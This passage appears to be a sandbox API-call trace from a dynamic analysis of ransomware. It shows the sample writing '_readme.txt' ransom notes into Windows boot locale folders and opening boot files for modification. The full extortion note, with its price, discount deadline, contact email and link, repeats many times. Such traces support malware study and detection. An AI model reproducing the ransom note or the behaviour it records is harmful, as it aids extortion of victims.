LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.479] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.479] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.479] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.479] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0124.479] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0124.479] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.479] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.479] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.480] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.480] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0124.480] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.480] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.480] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.480] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.480] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.480] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.480] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.480] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.481] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0124.481] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0124.481] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.481] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.481] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.481] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.481] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0124.481] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.481] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.481] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.481] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.481] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.482] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.482] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.482] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.482] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0124.482] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0124.482] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.482] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.482] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.482] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.483] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0124.483] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.483] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.483] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.483] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.483] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.483] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.483] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.483] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.483] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0124.484] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0124.484] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.484] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with 